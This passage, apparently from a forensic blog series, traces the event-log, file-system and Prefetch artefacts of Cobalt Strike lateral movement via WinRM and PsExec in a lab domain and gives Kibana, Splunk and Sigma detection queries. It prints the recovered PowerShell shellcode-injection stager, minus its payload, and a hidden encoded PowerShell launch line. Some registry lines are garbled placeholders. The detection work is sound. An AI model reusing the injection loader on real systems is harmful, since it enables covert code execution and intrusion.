Our malicious wsmprovhost.exe process has the PID 9724. The Cobalt Strike Beacon runs under the context of PowerShell, this is why two PowerShell script files are generated by Microsoft to test against Applocker. If the test file executes, then it assumed that Applocker is disabled.

Time	Description
13:38:11.653	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` run by user ‘CORP\alice’
13:38:11.653	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` run by user ‘CORP\alice’
13:38:29.313	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` run by user ‘CORP\alice’
13:38:29.313	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell` run by user ‘CORP\alice’

Event ID 17 / 18 – Pipe Created or Accessed

Pipe creation operations map to these event types when a named pipe is created (event ID 17) and when a named pipe is created or accessed (event ID 18).

The previous spotted processes with PID 4 and 9724 used several names pipes. The created pipe \\msagend_bd is made by the SMB beacon (by default) for the communication with the C2.

Time	Description
13:38:11.959	[evtx/sysmon/17] User ‘CORP\alice’ used the process `C:\Windows\system32\wsmprovhost.exe` (pid: 9724) to create named pipe `\PSHost.132924298901870926.9724.DefaultAppDomain.wsmprovhost`
13:38:17.148	[evtx/sysmon/17] User ‘CORP\alice’ used the process `C:\Windows\system32\wsmprovhost.exe` (pid: 9724) to create named pipe `\msagent_bd`
13:38:10.558	[evtx/sysmon/18] User ‘CORP\alice’ used the process `C:\Windows\system32\wsmprovhost.exe` (pid: 9724) to connect named pipe `\lsass`
13:38:19.169	[evtx/sysmon/18] User ‘NT AUTHORITY\SYSTEM’ used the process `System` (pid: 4) to connect named pipe `\msagent_bd`

Findings

Now that we have seen the events and other artefacts generated by the execution of the jump winrm64 command, let us dwell on the evidence present natively on a Windows 10 system out of the box.

Winevtx – Microsoft-Windows-Security-Auditing

Like the remote-exec winrm command, 5 authentications (event ID 4624) are recorded with the logon type ‘3’ from the compromised account CORP\alice, along with the associated privilege assignment events (event ID 4672). The source IP address and hostname are not always recorded, nor is the logon process name.

Time	Description
13:38:11.036	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005eb099) with ‘-‘
13:38:11.036	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eb099): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:38:13.705	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edc9b) with ‘-‘
13:38:13.705	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edc9b): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:38:13.828	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edd18) with ‘-‘
13:38:13.828	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edd18): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:38:19.168	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005f30a3) with ‘-‘
13:38:19.168	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005f30a3): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:39:05.880	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x000000000061217d) with ‘-‘
13:39:05.880	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000061217d): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:39:05.893	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000612198) with ‘-‘
13:39:05.893	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000612198): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege

The five network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.

Time	Description
13:39:05.879	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eb099) from logon type=3
13:39:05.892	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edd18) from logon type=3
13:39:05.924	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edc9b) from logon type=3
13:39:05.924	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000061217d) from logon type=3
13:39:21.622	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005f30a3) from logon type=3

Winevtx – Microsoft-Windows-WinRM

Obviously, some good indicators to detect WinRM lateral movements are stored in the Microsoft-Windows-WinRM log file, like the event ID 91 (Creating WSMan shell on server) on the target host. This event indicates that the WinRM service has begun to listen for incoming connections on the specified ports (HTTP and HTTPS by default). On our targeted host, this event was the only record in the Microsoft-Windows-WinRM log file after the remote code execution.

Time	Description
13:38:10.650	[evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘

Winevtx – PowerShell / Microsoft-Windows-PowerShell

While the process of creating the PowerShell beacon on the remote host is done via the Windows Remote Management (WinRM) service and not via a PowerShell session, you can detect the wsmprovhost.exe process using the PowerShell log files if PowerShell script block logging is enabled.

Unlike the remote-exec winrm command, the jump winrm64 command generates a PowerShell event ID 4104 because the block content was considered as suspicious. Script block logging events are recorded when a user starts a new session using the PowerShell remoting feature and stores blocks of code as they are executed by the PowerShell engine. This allows capturing the full PowerShell Beacon.

N.B.: Starting from PowerShell 5.0, anything that is determined as suspicious by AMSI (Antimalware Scan Interface) will automatically log a Script block/4104 event with a level of Warning⁴.

It is important to note that the event 4104 will be generated only when a user starts a new session using the PowerShell remoting feature, and not when a session is started using the jump winrm64 command in Cobalt Strike. All 29 events 4104 have been merged into a single event in the following timeline.

Time	Description
13:38:11.964	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘9724’ in AppDomain ‘DefaultAppDomain’
13:38:13.007	[evtx/powershell/600] The PowerShell provider ‘Environment’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.007	[evtx/powershell/600] The PowerShell provider ‘Alias’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.007	[evtx/powershell/600] The PowerShell provider ‘Registry’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.027	[evtx/powershell/600] The PowerShell provider ‘Variable’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.027	[evtx/powershell/600] The PowerShell provider ‘Function’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.027	[evtx/powershell/600] The PowerShell provider ‘FileSystem’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.099	[evtx/powershell/400] The PowerShell engine state hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is changed from ‘None’ to ‘Available’.
13:38:14.362	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘`3cdb4718-452a-469b-bf94-b8a1ad197fa6`‘ is executed (29 blocks)

The recorded payload stored in the event 4104 (and split into 29 pieces of code) contains two functions, func_get_proc_address and func_get_delegate_type. These two PowerShell functions are likely used to dynamically load and execute unmanaged code in a managed environment:

func_get_proc_address appears to use the Microsoft.Win32.UnsafeNativeMethods class to load a function pointer for a specified procedure in a specified module. This function is commonly used in interop scenarios when calling unmanaged functions from managed code.
func_get_delegate_type appears to dynamically create a delegate type that can be used to invoke a function with a specified signature. This function may be used in scenarios where a delegate with a specific signature is required but cannot be generated at compile time.

Together, these functions could be used to dynamically load and execute unmanaged code with a specific signature in a managed environment. They will be used by the following scheme (base64-encoded payloads have been removed for more readability):

<pre><code><span class="k">If</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">size</span> <span class="o">-eq</span> <span class="n">8</span><span class="p">)</span> <span class="p">{</span>
    <span class="no">[Byte[]]</span><span class="nv">$var_code</span> <span class="p">=</span> <span class="no">[System.Convert]</span><span class="p">::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s2">"... base64-encoded payload ..."</span><span class="p">)</span>

    <span class="k">for</span> <span class="p">(</span><span class="nv">$x</span> <span class="p">=</span> <span class="n">0</span><span class="p">;</span> <span class="nv">$x</span> <span class="o">-lt</span> <span class="nv">$var_code</span><span class="p">.</span><span class="n">Count</span><span class="p">;</span> <span class="nv">$x</span><span class="p">++)</span> <span class="p">{</span>
        <span class="nv">$var_code</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="p">=</span> <span class="nv">$var_code</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="o">-bxor</span> <span class="n">35</span>
    <span class="p">}</span>

    <span class="nv">$var_va</span> <span class="p">=</span> <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">GetDelegateForFunctionPointer</span><span class="p">((</span><span class="n">func_get_proc_address</span> <span class="n">kernel32</span><span class="p">.</span><span class="n">dll</span> <span class="n">VirtualAlloc</span><span class="p">)</span>  <span class="p">(</span><span class="n">func_get_delegate_type</span> <span class="p">@(</span><span class="no">[IntPtr]  [UInt32]  [UInt32]  [UInt32]</span><span class="p">)</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">)))</span>
    <span class="nv">$var_buffer</span> <span class="p">=</span> <span class="nv">$var_va</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">Zero</span>  <span class="nv">$var_code</span><span class="p">.</span><span class="n">Length</span>  <span class="n">0x3000</span>  <span class="n">0x40</span><span class="p">)</span>
    <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$var_code</span>  <span class="n">0</span>  <span class="nv">$var_buffer</span>  <span class="nv">$var_code</span><span class="p">.</span><span class="n">length</span><span class="p">)</span>

    <span class="nv">$var_runme</span> <span class="p">=</span> <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">GetDelegateForFunctionPointer</span><span class="p">(</span><span class="nv">$var_buffer</span>  <span class="p">(</span><span class="n">func_get_delegate_type</span> <span class="p">@(</span><span class="no">[IntPtr]</span><span class="p">)</span> <span class="p">(</span><span class="no">[Void]</span><span class="p">)))</span>
    <span class="nv">$var_runme</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">Zero</span><span class="p">)</span>
<span class="p">}</span>
</code></pre>

The PowerShell script is designed to decode, inject and execute a base64-encoded shellcode in the current process using dynamic memory allocation and function pointers.

First, the code checks if the size of IntPtr is 8, which indicates a 64-bit operating system. If the system is running on a 64-bit architecture, the script continues to execute.
Next, it converts the base64-encoded payload into a byte array using the [System.Convert]::FromBase64String method and applies a bitwise XOR operation with the value 35 to each byte. This is likely used to obfuscate the payload by applying a simple obfuscation technique.
After that, the code retrieves the function pointer for the VirtualAlloc function in the kernel32.dll library using the func_get_proc_address function. It also uses the func_get_delegate_type function to define a delegate type with the appropriate parameters for the VirtualAlloc function. The code uses the Marshal.Copy method to copy the byte array containing the shellcode into the allocated memory.
Finally, the code retrieves the function pointer for the shellcode using the Marshal.GetDelegateForFunctionPointer method and creates a delegate of type Void that can invoke the shellcode. The shellcode is then executed by calling the delegate with the Invoke() method. This causes the payload to be executed in memory.

Prefecth – Program execution

Since the wsmprohost.exe process is used by the Windows Remote Management (WinRM) service to handle the incoming connection and execute the command or payload, the Prefecth artefacts can successfully detect the execution of wsmprohost.exe.

Time	Description
13:38:10.193	[prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\WSMPROVHOST.EXE` hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]

It is important to mention that the presence of wsmprovhost.exe alone is not necessarily an indication of malicious activity. The process is a legitimate component of the Windows operating system and is typically used for system management and administration tasks.

File System – MFT

As mentioned earlier in the Sysmon event ID 7, in that case the MFT can be used to get information on the images loaded by the wsmprovhost.exe process. As a matter of fact, accesses to many DLLs can be observed within the MFT.

Time	Description
13:38:10.349	[fs/mft][.a..] File `\Windows\System32\WsmSvc.dll` ($STANDARD_INFORMATION), MFT:44064-1
13:38:10.523	[fs/mft][.a..] File `\Windows\System32\wsmplpxy.dll` ($STANDARD_INFORMATION), MFT:44028-1
13:38:10.600	[fs/mft][.a..] File `\Windows\System32\atl.dll` ($STANDARD_INFORMATION), MFT:39996-1
13:38:13.130	[fs/mft][.a..] File `\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll` ($STANDARD_INFORMATION), MFT:35638-1
13:38:18.333	[fs/mft][.a..] File `\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll` ($STANDARD_INFORMATION), MFT:36435-1
13:38:30.553	[fs/mft][.a..] File `\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll` ($STANDARD_INFORMATION), MFT:1645-2
13:38:36.087	[fs/mft][.a..] File `\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll` ($STANDARD_INFORMATION), MFT:35566-1
13:38:42.286	[fs/mft][.a..] File `\Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll` ($STANDARD_INFORMATION), MFT:1733-2
13:38:42.474	[fs/mft][.a..] File `\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\62fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll` ($STANDARD_INFORMATION), MFT:1745-2

In our case, since the Windows Remote Management (WinRM) service has run for the first time, the birth of the prefetch file can be observed in the MFT (here in both $FILE_NAME and $STANDARD_INFORMATION of the WSMPROVHOST.EXE-EF06207C.pf file), otherwise only its modification would be visible. It is possible to notice, as expected, that the execution datetime recorded in the Prefetch file occurs 10 seconds before the file itself is created on the file system.

Time	Description
13:38:20.349	[fs/mft][…b] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($STANDARD_INFORMATION), MFT:106956-3
13:38:20.349	[fs/mft][macb] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($FILE_NAME), MFT:106956-3, PARENT: 93711-2

File System – USN journal

Just like the MFT, and as observed in the SysMon logs (event ID 11), the USN journal can also detect the temporary files that are generated by the PowerShell script execution policy stored in the user’s directory here: C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_*.

Time	Description
13:38:11.614	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

In addition, when PowerShell starts running, the C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ folder is created to store the ModuleAnalysisCache file, created at the same time to store cached information about modules that have been analyzed.

Time	Description
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell` USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell` USN_REASON_CLOSE USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

Finally, the USN journal also records the creation of the Prefecth file, C:\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf.

Time	Description
13:38:20.349	[fs/usnjrnl] File `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` USN_REASON_FILE_CREATE
13:38:20.349	[fs/usnjrnl] File `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:20.349	[fs/usnjrnl] File `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

Conclusion

Many artefacts can lead to the conclusion that a beacon has been dropped using WinRM on the victim workstation:

The WinRM service begins to listen for incoming connections (« Microsoft-Windows-WinRM » event ID 91);
The PowerShell engine starts (« PowerShell » event ID 400), as well as its providers, hosted by the C:\Windows\system32\wsmprovhost.exe -Embedding application (« PowerShell » event ID 600);
Thanks to AMSI, PowerShell scriptblock may record the Cobalt Strike Beacon (« Microsoft-Windows-PowerShell » event ID 4104);
Regarding the file system and execution artefacts, some events could confirm the drop of the beacon, but cannot be used as proof by themselves:
The wsmprohost.exe executable that is used by the Windows Remote Management (WinRM) service can be seen among the Prefetch files, this file being present in the MFT and in the USN journal;
Accesses to many DLLs can be observed within the MFT, also recorded by « Sysmon » event ID 7 (Image Loaded);
PowerShell activities also leave traces in the MFT and the USN journal in the user directory of « CORP\alice ».
Finally, once the proof of execution of the beacon has been established, the origin of the connection can sometimes be recorded by the « Security » event ID 4624 (also with event IDs 4672 and 4634).

Detection Rule Example

The timeline is processed using plaso (https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The availablefields and their names may vary depending on how you use log2timeline and psort.

Kibana

The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. Note that all these events occur in a short period of time.

parser : "winevtx" and source_name : "Microsoft-Windows-WinRM" and eid : 91
parser : "winevtx" and source_name : "PowerShell" and eid : ( 400 or 600 ) and message : *HostApplication=*wsmprovhost.exe*
parser : "winevtx" and source_name : "Microsoft-Windows-PowerShell" and eid : 4104
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : ( WSMPROVHOST.EXE* or *__PSScriptPolicyTest_* )
parser : "mft" and message : ( *WsmSvc.dll or *atl.dll or *clr.dll or *clrjit.dll or *mscoreei.dll or *mscorlib.ni.dll or *System.Core.ni.dll or *System.ni.dll or *wsmplpxy.dll )
parser : ( "prefetch" or "mft" ) and message : *WSMPROVHOST.EXE*

Splunk

This rule can be the same as the remote-exec winrm command seen in part 1, and focuses on PowerShell and WinRM events only:

host="*" index="*" parser=winevtx eid=91 OR (eid=400 AND  host_application="*wsmprovhost.exe*")
| bin span=15s _time
| eventstats distinct_count(event ID) as dis_count by _time
| where dis_count==2
| table _time eid message dis_count

Sigma

A Sigma rule already exists for this event (sigma/posh_pc_remote_powershell_session.yml at master · SigmaHQ/sigma).

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml
Parsing Sigma rules  [####################################]  100%
HostName="ServerRemoteHost" HostApplication="*wsmprovhost.exe*"

Cobalt Strike « jump psexec_psh »

The Cobalt Strike jump psexec_psh command creates a Beacon on the remote host using the psexec and PowerShell techniques. The Beacon type used for this test is smb.

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.

The process chain created by the jump psexec_psh command on the victim workstation is cmd.exe -> powershell.exe. The PowerShell payload is base64 encoded several times, gzip compressed and XOR encrypted (with key « 35 »).

Time	Description
13:45:07.770	[evtx/sysmon/1] Process created with command `C:\\Windows\\SysWOW64\\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64enc_payload>` (id 3608) by user NT AUTHORITY\SYSTEM via `C:\\Windows\\System32\\services.exe` (id 596)
13:45:07.813	[evtx/sysmon/1] Process created with command `powershell -nop -w hidden -encodedcommand <base64enc_payload>` (id 6920) by user NT AUTHORITY\SYSTEM via `C:\\Windows\\SysWOW64\\cmd.exe` (id 3608)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.

In both of our tests, 3 connections are made. The first one on port 135, the second one to a random port and the last one to port 445.

Time	Description
13:45:09.111	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54310) to host – (192.168.56.117:135) (pid=832)
13:45:09.112	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54311) to host – (192.168.56.117:49692) (pid=596)
13:45:09.880	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54312) to host – (192.168.56.117:445) (pid=4)

Event ID 11 – File Created

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.

A Prefetch file is generated for each process executed (cmd.exe and powershell.exe) and two PowerShell test scripts generated by Microsoft are created (__PSScriptPolicyTest_<random_number>.ps1):

Time	Description
13:45:07.842	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\CMD.EXE-AC113AA8.pf` with user NT AUTHORITY\SYSTEM
13:45:09.526	[evtx/sysmon/11] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created file `C:\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` with user NT AUTHORITY\SYSTEM
13:45:09.526	[evtx/sysmon/11] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created file `C:\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` with user NT AUTHORITY\SYSTEM
13:45:17.997	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\POWERSHELL.EXE-767FB1AE.pf` with user NT AUTHORITY\SYSTEM

Event ID 13 – Registry Value Set

Registry key and value create and delete operations map to this event type.

Cobalt Strike creates a service to run the PowerShell command as « SYSTEM ». So a registry key with a random name is created under HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc by the Services.exe process and the ImagePath registry key is set to the Beacon path.

Time	Description
13:45:07.758	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\Start` value to DWORD (0x00000003)
13:45:07.758	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\Type` value to DWORD (0x00000010)
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\ObjectName` value to LocalSystem
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\WOW64` value to DWORD (0x0000014c)
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue ¨C296C value to ¨C297C
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C298C (pid 596) has SetValue ¨C299C value to DWORD (0x00000000)
13:45:07.841	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C300C (pid 596) has SetValue ¨C301C value to DWORD (0x00000001)
13:45:07.842	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C302C (pid 596) has SetValue ¨C303C value to DWORD (0x00000004)

Event ID 17 – Pipe Created

Pipe creation operations map to this event type.

The default named pipe created by the SMB Beacon for the communication is \\msagent_## and the default named pipe created for the PowerShell payload staging is \\.\pipe\status_##.

Time	Description
13:45:08.203	[evtx/sysmon/17] Process `C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe` (pid=6988) created pipe `\\msagent_bd` with user NT AUTHORITY\SYSTEM
13:45:09.832	[evtx/sysmon/17] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created pipe `\\PSHost.132924303078028554.6920.DefaultAppDomain.powershell` with user NT AUTHORITY\SYSTEM
13:45:11.423	[evtx/sysmon/17] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created pipe `\\status_8b` with user NT AUTHORITY\SYSTEM

Findings

Winevtx – Microsoft-Windows-Security-Auditing

Time	Description
13:45:07.730	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000008629e3): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:45:07.732	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000008629e3) with ‘-‘
13:45:07.904	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000862fb5): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
